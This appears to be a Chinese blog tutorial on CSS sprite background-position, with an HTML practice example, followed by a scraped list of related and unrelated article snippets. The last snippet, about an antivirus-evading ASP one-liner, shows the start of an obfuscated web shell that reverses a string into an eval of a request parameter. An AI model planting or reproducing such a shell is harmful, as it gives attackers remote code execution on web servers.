首先准备一张雪碧图，Like this

背景图片的定位方法有3种，比较常用的两种为

关键字：background-position: top left;   (top/bottom/cennter/left/right)

像素：background-position: 水平移动px 垂直移动px;

关键词：

其中关键字方法background-position: top left 和left top效果是一样的。（注意：如果您仅规定了一个关键词，那么第二个值将是"center"。）

关于像素值的正负：负数方向为左/上 ，同理正数方向为右/下

他们背景定位的原点都是在左上角，如果能理解下面的代码，说明上面两种方法已经合格了

<!DOCTYPE html>

<html lang="en">

<head>

    <meta charset="UTF-8">

    <title>背景定位练习</title>

</head>

<body>

<style rel="stylesheet" type="text/css">

.box1, .box2, .box3, .box4,.box5, .box6, .box7, .box8,.box9 {

float: left;

width:100px;

height: 100px;

background: #666 url(18.png) no-repeat;

margin-left: 10px;

}

.box1{background-position: -300px 0;}

.box2{background-position: -200px 0;}

.box3{background-position: -100px 0;}

.box4{background-position:top left;}

.box5{background-position: 0 -100px;}

.box6{background-position: 0 -200px;}

.box7{background-position:bottom left;}

.box8{background-position:-300px -200px;}

.box9{background-position:bottom right;}

    </style>

    <div class="box1"></div>

    <div class="box2"></div>

    <div class="box3"></div>

    <div class="box4"></div>

    <div class="box5"></div>

    <div class="box6"></div>

    <div class="box7"></div>

    <div class="box8"></div>

    <div class="box9"></div>

</body>

</html>

预览效果为：

需要注意的是：在repeat的状态下和默认的状态下（默认即为repeat）,background-position是不起作用的!

下一节我们继续讲定位的第三种方法:

百分比：background-position: 0% 0%;

相关文章：

如何制作雪碧图：photoshop：制作sprite拼贴图片

background-position的百分比

css背景图片定位练习（一）的更多相关文章

  1. CSS背景图片定位

    原文:CSS背景图片定位 在网页开发中我们经常需要对图片进行分割(如下图)来使用,而不是分别提供单独的图片来调用,常见的如页面背景,按钮图标等,这样做的好处就是减少请求次数,节省时间和带宽. 对背景图 ...

  2. css背景图片定位练习（二）： background-position的百分比

    background-position:x y; 百分比定位并不能直观的看出来,需要通过计算. background-position百分比计算公式: (容器宽度—背景图片的宽度)*x%=xpx(容器 ...

  3. CSS常用背景图片定位方法

    CSS背景图片定位其实对于每一位学习前端的同学来说,都已经非常熟悉了.网上铺天盖地的最常见的一种方案就是在父元素中relative,然后子元素absolute.这种方案当然好,不过带来的一个缺点就是会 ...

  4. CSS 背景图像 背景图片定位

    背景图片定位 background-position属性可以给背景图片定位. background-position属性有两个值,第一个值是水平位置,第二个值是垂直位置.这两个值可以使用百分比来表示( ...

  5. HTML+CSS—背景图片、图片定位

    设置背景图片格式: background-image: url(img/ic.jpg); 注意点: 如果父容器面积大于背景图片,默认显示该图片整面平铺 设置是否需要平铺属性: background-r ...

  6. background的属性和背景图片定位的实例

    本文内容: 1.背景图片定位示例 2.background常用的属性值 3.background-repeat新增的round.space属性 4.background-size的属性值(着重介绍co ...

  7. css背景图定位和浮动

    网站图标引入:<link rel="shortcut icon" href="ico图标地址"> 背景图片  background-image: u ...

  8. Bootstrap css背景图片的设置

    一. 网页中添加图片的方式有两种 一种是:通过<img>标签直接插入到html中 另一种是:通过css背景属性添加 居中方法:水平居中的text-align:center 和 margin ...

  9. css背景图片拉伸 以及100% 满屏显示

    如何用css背景图片拉伸 以及100% 满屏显示呢?这个问题听起来似乎很简单.但是很遗憾的告诉大家.不是我们想的那么简单. 比如一个容器(body,div,span)中设定一个背景.这个背景的长宽值在 ...

随机推荐

  1. Code 128 规则解析

    1.CODE 128 标准 1.1 code 128码格式:   格式:   从左起: 空白区域,起始字符(Start),数据区域(data),校验码(check),结束字符(Stop),空白区域. ...

  2. MVC 路由模块分析（一）

    概述 主要分为四个部分进行分析. First ——Usage: then ——Extension: and then ——Design: last ——Test. 1. Usage 1.1 Displ ...

  3. MapReduce多线程下的错误

    最近在写一个MR调度程序,在以服务进程中同时开启了两个MapReduce线程.这两个MR共享同一份输入源,此时会造成Cast异常: java.lang.ClassCastException: org. ...

  4. POJ3581 Sequence（后缀数组）

    题意:给一个串,串的第一个字符比后面的都大,要把它分成三段,然后反转每一段,求能得到的字典序最小的串是什么. 首先,第一段是可以确定的:把原串反转,因为第一个字符是最大的,它是唯一的,不存在反转串的后 ...

  5. LightOJ1086 Jogging Trails（欧拉回路+中国邮递员问题+SPFA）

    题目求从某点出发回到该点经过所有边至少一次的最短行程. 这个问题我在<图论算法理论.实现及应用>中看过,是一个经典的问题——中国邮递员问题(CPP, chinese postman pro ...

  6. eclipse生成jar包

    第一:普通类导出jar包,我说的普通类就是指此类包含main方法,并且没有用到别的jar包. 1.在eclipse中选择你要导出的类或者package,右击,选择Export子选项: 2.在弹出的对话 ...

  7. FFMPEG解码流程

    FFMPEG解码流程:  1. 注册所有容器格式和CODEC: av_register_all()  2. 打开文件: av_open_input_file()  3. 从文件中提取流信息: av_f ...

  8. VTK 5.10.1 VS2010 Configuration 配置

    Download VTK 5.10.1 Download VS2010 Download CMake 3.2.0 I assume you've already installed VS2010 an ...

  9. 新鲜出炉的30个精美的 jQuery & CSS3 效果【附演示和教程】

    新鲜出炉的30个精美的 jQuery & CSS3 效果[附演示和教程]   作为最流行的 JavaScript 开发框架,jQuery 在现在的 Web 开发项目中扮演着重要角色,它简化了 ...

  10. 免杀ASP一句话

    <% wei="日日日)""wei""(tseuqer lave 日" execute(UnEncode(wei)) function ...